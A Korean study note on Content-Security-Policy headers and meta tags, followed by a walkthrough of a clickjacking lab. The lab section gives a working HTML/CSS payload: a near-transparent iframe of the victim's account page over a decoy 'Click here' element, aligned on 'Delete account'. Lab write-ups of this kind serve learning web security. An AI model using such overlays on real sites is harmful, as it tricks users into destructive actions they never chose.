① 웹 서버 구성시 HTTP 응답 헤더에 반환하도록 설정하는 방법
Header set Content-Security-Policy "default-src 'self';"
② 태그를 사용하여 정책 구성하는 방법
<meta
http-equiv="Content-Security-Policy"
content="default-src 'self'; img-src https://*; child-src 'none';" />
<meta http-equiv="Content-Security-Policy" content="default-src 'self';
frame-src data: *.firebaseapp.com *.stripe.com *.google.com *.facebook.com 'self';
style-src 'self' 'unsafe-inline' *;
script-src 'self' 'unsafe-eval' 'unsafe-inline' *.ampproject.org googletagmanager.com *.googletagmanager.com *.amplitude.com api.vk.com *.gstatic.com *.facebook.net *.google.com *.google-analytics.com *.stripe.com *.pingdom.net *.intercom.io *.intercomcdn.com *.stripo.email *.zscalertwo.net *.zscaler.com *.zscaler.net *.pinimg.com *.getsitecontrol.com;
img-src 'self' data: *;
connect-src 'self' *;
child-src blob:;
font-src 'self' *;
object-src 'self' *">
해당 랩 풀이
접속하여 우측 상단의 My Account 접속
사전에 알고 있었던 wiener/peter 로 로그인
아래에 존재하는 Delete account 버튼을 눌러 계정을 삭제하도록 유도하고자 함
상단의 Go to exploit server로 이동
<style>
iframe {
position:relative;
width:500px;
height: 300px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:400px;
left:120px;
z-index: 1;
}
</style>
<div>Click here</div>
<iframe src="url"></iframe>
body 부분에 대략 이런 코드를 삽입하게 될 것임
아까 Delete Account가 있었던 화면의 url을 가져와 iframe 태그에 삽입해주고 store 을 눌러 저장
View exploit 버튼을 눌러 위치 확인
div의 top과 left를 적절하게 조절하여 Delete account 쪽으로 유도
일정 범위 안에 들어가게 되면 풀이가 완료됨